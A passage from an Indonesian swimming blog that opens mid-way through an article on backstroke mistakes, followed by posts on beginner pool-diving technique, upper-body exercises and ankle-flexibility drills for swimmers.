lakukan latihan untuk mensingkronkan gerakan tangan dan kaki anda. usahakan gerakan tangan membentuk huruf “S’ saat didalam air. sehingga menghasilkan kecepatan maksimal dan arah yang lurus.

3. Lutut Terlalu Naik

Salah satu kesalahan yang sering dilakukakn adalah lutut terlalu naik hingga ke permukaan air. Hal ini dapat menyebabkan kurangnya daya luncur saat kaki naik turun. Hal ini biasa terjadi karena saat melakukan gerakan kaki, paha terlalu ditarik keatas, sehingga menyebabkan lutut membentuk sudut. Kesalahan ini bisa menyebabkan luncuran tubuh kurang maksimal.

Selain itu, jika mengangkat kaki terlalu keatas daya dorong yang dicapai menjadi kurang maksimal. Hal ini disebabkan karena kaki hanya menendang pada ujung-ujung jari saja sehingga daya dorong yang dihasilkan juga sangat kecil, karena seharusnya dengan menggunakan telapak kaki dan dengan mengibaskan bagian jari-jari kaki, agar daya dorongnya maksimal.

Cara Penaggulangan :

Latih gerakan dasar kaki, anda harus mengatur irama agar kaki tidak terlalu membentuk sudut. sebisa mungkin jangan angkat paha terlalu naik, sehingga lutut juga tidak terangkat keatas.
Daya dorong kaki saat berenang gaya punggung bukan dari lutut yang terlalu di tekuk, melainkan kibasan dari telapak kaki perenang dan juga sedikit dorongan dari jari-jari yang digerakkan saat di dalam air pada fase istirahat.

4. Pada Fase Istirahat, Lengan kurang Vertikal

Gerakan tangan pada renang gaya punggung dibedakan menjadi tiga fase, yang pertama adalah fase Menarik, dimana pada fase ini tangan anda mulai keluar dari air dan siku ditekuk namun pada posisi tangan tetap di sisi luar bahu. Fase Mendorong, dimana pada fase ini, perenang melakukan dorongan dengan rotasi tangan membentuk seperempat lingkaran. Dan fase istirahat, fase ini dilakukan setelah tangan pada posisi diatas dimana keluar dari air dari ibu jari dan kemudian diputar sehingga ketika tangan masuk ke air yang pertama menyentuh air adalah jari kelingking. Perenang bisa melakukan fase istirahat dengan seirama dari tangan yang lain yang sedang melakukan fase menarik dan mendorong.

Fase Istirahat dengan lengan terlalu vertikal mengakibatkan jangkauan tangan kurang maksimal. Karena jangkauan tangan yang tidak maksimal, berakibat pada saat fase inward sweep ( Menyapu kedalam) lurus. Jika sapuan kedalam yang saharusnya membentuk hurus “S” menjadi lurus, berakibat pada ketidak seimbangan arah saat berenang. Sehingga tubuh akan terdorong kekiri atau ke kanan.

Cara Penaggulangan :

lakukakn latihan catch up, luruskan lengan dengan baik saat fase istirahat
Setelah fase mendorong dan ibu jari sudah keluar dari air, putarlah lebih awal sehingga lengan bisa tertarik lurus.

5. Gerakan rotasi tangan terlalu lurus

Kesalahan biasanya dilakukan ketika gerakan tangan di dalam air karena rotasi tangan lurus. Hal ini mengakibatkan kecepatan meluncur juga berkurang, karena fase dorongan seharusnya berlawanan dengan arah perenang. Karena salah dalam rotasi saat dorongan mengakibatkan dorongan malah menghadap ke atas.

Cara Penaggulangan :

Untuk menanggulangi ini, perenang bisa melakukan latihan catch up gata punggung, dan perhatikan gerakan demi gerakan tangan untuk menghasilkan koordinasi gerak yang baik.

6. Tidak melakukan Body Roll

Melakukan renang gaya punggung mengharuskan anda untuk bisa mengapung diatas air secara terlentang. Dan dengan kombinasi gerakan tangan memutar ke belakang yang cukup sulit. Kesalahan yang terkadang dilakukan adalah pada saat fase menarik, tubuh terlalu lurus sehingga menempatkan beban tarikan ke bahu. Kesalahan ini bisa menyebabkan cidera bahu dan kelelahan. Sedikit body roll juga dapat meningkatkan daya dorong dengan menarik otot dada dan punggung.

Cara Penaggulangan :

Untuk melakukan body roll anda tidak boleh lebih dari 45 derajat dari posisi netral, Putar pinggul Anda saat Anda memutar bahu Anda. Ketika Anda melakukan stroke, cobalah untuk menyentuh bahu Anda ke dagu Anda

7. Pengambilan Pernapasan

Meskipun ketika melakukan renang gaya punggung, muka perenang menghadap keatas. Tidak menuntut kemungkinan bahwa muka atau hidung perenang bisa terkena air dan cukup mengganggu saat melakukan pernafasan. Untuk melakukan pernafasan sebaiknya melakukan sesuai irama tarikan dan dorongan. sehingga anda bisa lebih nyaman dalam mengambil pernafasan. Usahakan juga jangan terlalu kaku dalam melakukan renang gaya punggung.

Cara Penaggulangan :

Untuk meningkatkan pernapasan, Anda bisa lebih rileks dan tekan punggung ke bawah. Ini akan meningkatkan daya pernapasan saat di kolam renang.

Untuk menjadi seorang perenang yang profesional ada baiknya anda juga melatih beberapa bagian tubuh agar bisa mencapai hasil yang maksimal seperti Latihan untuk bagian tubuh bagian atas pernang, Latihan pergelangan kaki perenang agar terhindar dari cidera, dan untuk pemula bisa mempelajari cara berenang lebih cepat.

20 April 2018 0 comment

Renang

7 Cara Melakukan Terjun atau Loncat di Kolam Renang secara Sederhana bagi Pemula

by Rita Nora 11 February 2018

written by Rita Nora

Teknik renang gaya kupu-kupu, lalu juga teknik renang gaya bebas, teknik renang gaya punggung, hingga teknik renang gaya dada merupakan teknik-teknik yang bisa kita kuasai saat tertari dengan olahraga renang. Namun yang paling utama dan penting untuk kita latih secara benar lebih dulu sebelum semuanya itu adalah cara melakukan terjun atau loncat di kolam renang secara sederhana seperti penjelasan di bawah ini.

Berlari Sebelum Terjun

Bagi seorang pemula, loncat ke dalam kolam renang bisa menjadi hal yang mengintimidasi. Oleh karena itu, cobalah lebih dulu ambil posisi berdiri tegak sementara kedua lengan bisa diarahkan lurus di atas kepala dan lengan bagian atas bisa memeluk telinga.

Tundukkan kepala hingga dagu menyentuh dada sebelum terjun ke dalam kolam renang. Berlatih di atas rumput pun adalah ide yang bagus. Satu lutut bisa kita turunkan dan tangan berikut ujung jari dapat dihadapkan ke lantai. Lanjutkan dengan aksi berguling ke depan supaya tangan kita bisa menyentuh lantai di mana lengan bisa menyusul; hingga perut menjadi datar, lakukan terus aksi ini.

Kepala Lebih Dulu

Penting untuk para pemula mengetahui bagaimana cara terjun yang baik dan benar ke dalam kolam renang. Kepala perlu lebih dulu untuk masuk ke dalam kolam dan inilah normalnya bagaimana meloncat di kolam renang.

Tak masalah apabila agak gugup di mana di awal kita bisa melakukan terjun menggunakan kaki lebih dulu. Karena air itu sebenarnya tak keras dan sangat lembut, anak-anak pun bisa belajar terjun ke kolam dengan kepala lebih dulu. Awali dengan posisi berdiri di ujung kolam dan tubuh kemudian dijatuhkan ke arah depan.

Berjongkok Sebelum Meluncur

Ambil posisi jongkok di pinggir kolam renang, kedua lengan angkat di atas kepala dan tak lupa turunkan dagu sambil mengarahkan kedua tangan ke air. Tubuh kemudian bisa digerakkan ke depan yang kemudian disusul aksi meluncur ke dalam air, ingat bahwa kepala harus lebih dulu masuk. Luruskanlah kedua kaki sewaktu ikut tubuh bagian atas masuk ke kolam dan posisikan berjinjit.

Berdiri Sebelum Meluncur

Selain bisa terjun dengan posisi berjongkok, kita juga dapat berdiri sebelum meluncur. Awali dengan posisi berdiri di pinggir kolam dan kaki harus berjinjit. Lengan dan tangan bisa dalam posisi siap yang kemudian pinggang agak ditekuk sambil mengarahkan jari-jari tangan ke air. Kepala ditundukkan dan tubuh siap kita ayunkan ke air sembari kaki dirapatkan ketika bergerak ikut tubuh ke dalam air.

Satu Kaki di Pinggir Kolam Sebelum Meluncur

Satu kaki dapat coba diletakkan lebih ke depan dan tumpuan berat badan tetap harus seimbang pada keduanya. Posisi ini adalah awal sebelum meluncur ke dalam kolam. Lanjutkan dengan meluncur di mana kepala lebih dulu masuk ke dalam air. Anda pun bisa membiasakan diri untuk terjun menggunakan cara ini.

Mendorong Kaki untuk Terjun

Cara sederhana lainnya adalah dengan mendorong kaki sebelum menjatuhkan tubuh masuk ke air. Dorongan pada kaki depan tersebut sebagai cara dalam penambahan jarak saat terjun dan pada kasus ini, tubuh bisa diluruskan dan kaki dalam posisi berjinjit. Saat tubuh masuk ke dalam air, kita bisa langsung berenang.

Mengangkat Tangan di Atas Kepala

Siku harus dalam keadaan rata ketika tangan berada di atas kepala. Tangan bagian atas bisa disentuhkan ke telinga dan ratakan tangan di mana salah satu telapaknya bisa ada di telapak tangan lainnya. Tahan dan bersiaplah untuk meluncur ke dalam air. Jangan lupa, sebelumnya kepala ditundukkan lebih dulu dan posisi akhir tangan adalah lurus ke atas sebelum meluncur.

Ada beberapa cara lain yang lebih sulit, namun bagi pemula bisa lebih dulu mencoba cara melakukan terjun atau loncat di kolam renang secara sederhana dan berlatih terus hingga menguasainya. Setelah cara sederhana telah mampu dilakukan sempurna, terjun dengan cara yang lebih sulit bisa mulai dipelajari berikut juga cara agar tidak tenggelam saat berenang.

11 February 2018 0 comment

Renang

8 Latihan untuk Tubuh Bagian Atas Perenang Agar Lebih Kuat

by Rita Nora 28 December 2017

written by Rita Nora

Selain dari latihan untuk pergelangan kaki perenang, ada pula latihan untuk tubuh bagian atas perenang yang bisa dilakukan secara rutin. Tujuan dari latihan ini pun sama seperti ketika melatih bagian pergelangan kaki, yakni agar lebih kuat serta jauh lebih fleksibel ketika berenang. Beberapa jenis latihan berikut ini dapat coba Anda lakukan serutin mungkin.

Pemanasan

In-line Elbow to Ground, Band Shoulder Hangs, dan Posisi IYT Pada latihan bagi tubuh bagian atas, para perenang tak boleh melewatkan gerakan pemanasan yang biasanya perlu dilakukan sekitar 3-5 menit.

In-line elbow to ground, di mana posisi awal bisa berada dalam posisi jongkok, kemudian satu kaki luruskan ke belakang sementara lutut kaki yang lain masih ditekuk. Condongkan tubuh lurus ke arah depan lalu siku sebelah kanan ditekuk dan tangan mengarah ke samping tapi tidak menyentuh lantai. Tangan lainnya menopang tubuh seperti ketika melakukan push-up (mengangkat dan mendorong tubuh); nanti selanjutnya bisa bergantian dengan kaki dan tangan yang lain. Lakukanlah dengan hitungan 1×10 untuk setiap tangan dan kaki.
Band shoulder hangs, di mana gerakan ini bisa dilakukan dengan tali karet panjang di mana Anda bisa menariknya kuat-kuat ke arah depan dengan satu tangan dan nantinya bergantian dengan tangan lainnya. Lakukan dengan hitungan 1×5 untuk setiap tangan.
Posisi bawah I, Y dan T, di mana posisi tubuh dalam kondisi berlutut dan kemudian tubuh ditekuk serta dicondongkan ke arah depan sambil tangan diluruskan ke depan sejajar membentuk huruf I. Angkat tubuh dan kembali condongkan dengan tangan membentuk huruf Y, lalu angkat tubuh dan kembali condongkan dengan kedua tangan lurus ke samping membentuk huruf T. Lakukan dengan hitungan 1×20 untuk latihan ini.

Two-Hand Rope Jump Slams

Two-Hand Rope Jump Slams Dalam latihan ini, Anda memerlukan sebuah tali tambang yang bisa diikatkan pada sesuatu yang stabil dan kuat. Tali kemudian Anda pegang dengan kedua telapak tangan menghadap ke bawah dan tali bisa diangkat secepat mungkin lalu ke bawah, seperti mengguncangkannya.

Namun posisi tubuh harus tepat, yakni dengan sikap atletis, punggung rata dan dada ke atas. Set waktu yang Anda inginkan dan lakukan pengulangan hingga waktu habis; pada umumnya, 40 detik pun sudah cukup dan akan membuat Anda benar-benar seperti kehabisan napas.

Hand Over Hand Sled Drag

Hand Over Hand Sled Drag Dalam melakukan latihan ini, Anda kiranya membutuhkan kereta luncur sebagai alat pendukung latihan. Ikatlah sejumlah beban pada kereta luncur dan ambil tali yang ada untuk menariknya secepat mungkin dengan posisi tubuh cukup rendah dengan dada naik dan punggung rata.

Tariklah selama 40 detik lamanya karena tubuh seluruhnya akan terbakar ketika otot belakang ditarik. Cara ini dapat Anda praktikkan dan dengan tekanan konstan akan membantu tubuh bagian atas menjadi lebih kuat.

Inside and Outside Rope Slams

Inside and Outside Rope Slams Pada intinya, latihan ini masih menjadi bagian dari two-hand rope jump slams, namun gerakannya saja yang membedakannya. Untuk gerakan inside slam, itu artinya masing-masing tangan pegang tali dan kemudian arahkan kedua tali ke arah dalam (tali yang dipegang sebelah kanan diarahkan ke kiri dan tali yang dipegang sebelah kiri dapat diarahkan masuk ke sebelah kanan).

Sementara untuk gerakan outside slam bisa dilakukan sebaliknya, yakni tali yang dipegang sebelah kanan dapat diarahkan ke kanan dan tali yang dipegang sebelah kiri dapat diputar atau digerakkan mengarah ke kiri. Latihan masing-masing inside dan outside dapat dilakukan selama 40 detik.

I, Y dan T Sled

Untuk melatih bahu, gerakan seperti pada pemanasan tadi bisa dilakukan, hanya bedanya kali ini dengan menarik tali. Tali pada kereta luncur dapat ditarik dalam keadaan posisi tubuh melakukan squat. Dalam Saat posisi berdiri pastikan bagian punggung rata dan lengan dibuat lurus keduanya dan tarik serentak hingga tangan berada sejajar di atas kepala membentuk huruf I, ulangi gerakan untuk tangan membentuk huruf Y, lalu huruf T. Cara latihan ini diketahui efektif dalam meminimalisir alias mencegah cedera pada tubuh bagian atas para perenang.

Bicep Curl

Bicep Curls Latihan jenis ini lebih berfokus untuk memperkuat bagian lengan atas Anda dan pastinya perlu adanya sepasang halter alias beban yang Anda dapat bawa atau pegang dengan satu tangan.

Ambil posisi berdiri di awal sambil memegang beban pada area pinggang di mana telapak tangan menghadap ke arah depan.
Siku harus ada di sisi tubuh dan jangan digerakkan, barulah angkat beban.
Beban Anda angkat sampai dekat dada atau leher dan turunkan kembali secepatnya sampai tangan hampir lurus sebelum mengulanginya lagi.

Chin Up

Chin Up Latihan ini baik bagi kekuatan bahu dan juga otot bisep di mana Anda dapat melakukannya dengan cara menggelantungkan diri pada sebuah tiang dan tariklah tubuh sampai dagu bisa setinggi tiang. Tangan perlu menggenggam tiang dengan telapak tangan harus menghadap pada arah diri Anda, tak lupa juga berikan jarak sedikit antara kedua tangan dan jarak tersebut adalah selebar bahu. Pastikan dagu dinaikkan hingga lebih dari tiang dan kembali turunkan tubuh perlahan; latihan ini perlu pengulangan beberapa kali agar terasa efeknya.

V-Sit Holds

Sebagai akhir latihan, chin up dan juga v-sit holds menjadi hal yang perlu dilakukan di mana langkah-langkanya seperti berikut:

Ambil posisi awal dengan duduk, lalu lutut ditekuk namun kaki diangkat tak boleh menyentuh matras/lantai.
Dada dapat diangkat dan dibusungkan sambil kedua lengan lurus di sisi tubuh.
Secara perlahan, dari posisi duduk bentuklah huruf V dengan tubuh dengan mengangkat kedua kaki yang lurus tadi bersamaan dengan bagian tubuh dari pinggang ke atas seperti saat melakukan sit up.
Bentuk sudut 45 derajat barulah kaki bisa berhenti naik dan rasakan apakah punggung bawah sudah cukup jauh dari permukaan lantai.
Lakukan pengulangan selama 1 menit untuk latihan ini.

Demikianlah latihan untuk tubuh bagian atas perenang agar jauh lebih baik dan kuat. Jadi selain peralatan renang yang diperlukan, Anda perlu memperlengkapi tubuh dengan kekuatan fisik yang baik. Dengan latihan rutin, ini pun dapat menjadi cara berenang lebih cepat nantinya dan latihan fisik ini jugalah yang menjadi cara agar tidak tenggelam saat berenang terutama bagi para pemula.

28 December 2017 0 comment

Renang

6 Latihan untuk Pergelangan Kaki Perenang Agar Lebih Kuat dan Fleksibel

by Rita Nora 16 December 2017

written by Rita Nora

Sebagai seorang perenang, bukan hanya melengkapi peralatan renang dan menguasai berbagai teknik renang saja yang perlu dilakukan. Latihan kekuatan anggota tubuh manapun juga diperlukan agar mampu berenang dengan lebih baik. Salah satu hal yang perlu diperhatikan adalah latihan untuk pergelangan kaki perenang supaya lebih kuat dan fleksibel.

Hanya dengan latihan renang terus-menerus belumlah cukup untuk membuat pergelangan kaki lebih fleksibel dan kuat. Bahkan sebagai perenang, Anda tak hanya perlu memikirkan cara berenang lebih cepat, tapi juga pembatasan bagian tubuh yang kemungkinan menghambat gerakan pergelangan kaki. Latihan-latihan di bawah ini kiranya dapat membantu supaya pergelangan kaki hingga lutut dapat lebih luwes saat digerakkan sewaktu berenang.

Peregangan Pergelangan Kaki

Dalam meningkatkan fleksibilitas tubuh perenang, baik itu pergelangan kaki ataupun bagian tubuh lainnya, diperlukan latihan fisik dengan meregangkan tubuh. Peregangan pergelangan kaki serta jari kaki adalah yang paling dianjurkan dalam hal ini. Gunakanlah tangan Anda ketika melakukan metode peregangan satu ini, yakni dengan cara:

Duduklah di lantai dengan membentangkan kedua kaki lurus ke arah depan lebih dulu.
Setelah itu, satu sisi kaki bisa ditekuk dan dibawa pada bagian atas dari paha depan.
Peganglah bagian jari-jari kaki yang kemudian diregangkan ke bawah. Lakukan ini dengan menahannya selama 30 detik sebelum bergantian dengan sisi kaki satunya.
Lakukanlah hal yang sama pada kaki lainnya.
Saat masih duduk di lantai, tekuklah lutut, lalu lanjutkan dengan menyelipkannya tepat di bawah bokong. Jadi, pada posisi ini sama dengan bokong bersandar pada bagian tumit.
Bagian atas kaki otomatis akan rata di lantai dan dari situ cobalah angkat secara perlahan satu lutut dari lantai menggunakan tangan. Peregangan ini bisa ditahan selama 30 detik lamanya sebelum beralih ke kaki lainnya.
Alternatif lainnya adalah dengan mengambil posisi berlutut lalu cobalah meletakkan handuk gulung tepat di bagian bawah jari-jari atas kaki Anda sehingga mampu memberikan tekanan lebih dalam peregangan.

Drop Squat

Latihan fisik berupa drop squat pun dapat dilakukan oleh para perenang agar fleksibilitas pergelangan kaki serta kekuatannya bisa meningkat. Drop squat ini merupakan sebuah latihan pendaratan yang melatih mobilitas dengan pendaratan yang mulus. Para perenang pemula sangatlah dianjurkan untuk memiliki pendaratan renang yang efektif, maka latihan ini paling cocok untuk dilakukan rutin.

Untuk awalnya, ambil posisi berdiri di mana kaki bisa dibuka selebar pinggul sambil menaruh tangan di sisi tubuh.
Lanjutkanlah dengan menjatuhkan tubuh pada posisi jongkok dan tangan yang tadinya berada di sisi tubuh bisa dibawa ke arah depan secara lurus dua-duanya.
Lalu, dorong kembali tubuh ke atas sambil tetap menjaga posisi dan postur punggung lurus.

Mengangkat Tumit

Mengangkat tumit pun merupakan suatu latihan fisik yang dibutuhkan untuk meningkatkan kekuatan dan fleksibilitas dari pergelangan kaki para perenang. Istilah untuk latihan ini lebih dikenal dengan heel raises di mana cara latihan ini bermanfaat dalam mengurangi penyeretan tubuh berlebihan sewaktu pada fase penolakan pada gaya renang.

Fase tersebut membutuhkan fleksi plantar supaya bisa masuk ke dalam arus, jadi cobalah untuk melatih diri dengan mengangkat tumit. Ada beberapa variasi untuk latihan ini dalam meningkatkan fleksibilitas, yakni mengangkat tumit secara tradisional atau melakukan pengangkatan tumit dengan aktivasi inti di mana ini tergantung dari kebutuhan latihan Anda.

Peregangan Dinamis

Teknik peregangan dinamis membutuhkan perlengkapan bantuan seperti halnya tali, handuk, pita atau tangan Anda sendiri dalam membentuk ketahanan sekaligus dukungan. Berikut adalah langkah-langkah yang bisa dicoba untuk dilakukan dalam latihan ini.

Bungkuslah area lengkungan pada telapak kaki di bawah jari-jari kaki Anda menggunakan peralatan tadi, manapun sesuai yang Anda sediakan.
Ujung pita, tali atau handuk yang digunakan bisa dipegang bagian ujung-ujungnya dengan tangan.
Tariklah karena ini akan memberi dan menambah ketahanan pada bagian tersebut.
Supaya peregangan makin maksimal, handuk/tali/pita dapat diletakkan pada bagian atas kaki di bagian dasar jari dan mintalah tolong orang lain untuk memegang ujungnya lalu ditarik ke arah tubuh.

Inchworm

Pergelangan kaki juga kiranya perlu dilatih menggunakan teknik inchworm ini di mana untuk melakukannya, langkah-langkah berikut bisa coba dipraktikkan.

Ambil posisi awal dengan berdiri sambil membuka kaki selebar pinggul.
Tekuk pinggul alias membungkuk, namun pastikan bahwa punggung berada pada posisi yang tegak lurus secara horisontal dan bawa tangan Anda meraih permukaan lantai.

Jalankan kedua tangan yang berada di depan Anda sejauh yang Anda mampu ke arah depan, lalu tahan beberapa detik. Saat melakukan ini, otomatis kaki akan ikut terangkat seperti berjinjit maka otomatis bagian pergelangan kaki dapat meregang.
Setelah itu jalankan kembali tangan ke arah belakang atau tubuh Anda.
Melakukan cara ini 10-15 kali akan cukup membantu bagian lengan, tangan serta pergelangan kaki bisa lebih fleksibel.

Menggulung Tulang Kering

Sediakan bola tenis atau bola bisbol bila ada dalam melakukan latihan ini. Target yang perlu untuk dilatih adalah bagian tulang kering Anda di mana Anda bisa menggulungkan bola tenis atau bola bisbol ke bagian luar tulang kering Anda sambil mengambil posisi setengah berlutut.

Untuk menstabilkan posisi Anda, bisa dilakukan dengan membuat posisi tubuh seperti meja. Bola tadi dapat ditempatkan di bawah tulang kering tepat di samping tibia. Pada area yang cukup lunak atau empuk, hentikan gerakan atau perlambat. Lakukan selama 2 menit untuk bagian depan kaki, 2 menit pada bagian samping, dan 2 menit lainnya untuk bagian belakang.

Latihan-latihan untuk pergelangan kaki perenang ini kiranya dapat membantu Anda, terutama bila Anda adalah perenang pemula. Cara ini pun termasuk menjadi cara agar tidak tenggelam saat berenang karena pergelangan kaki yang lebih kuat. Melakukan secara rutin latihan-latihan ini akan membuat pergelangan kaki jauh lebih baik, terutama saat melakukan performa renang.

16 December 2017 0 comment

Newer Posts

Older Posts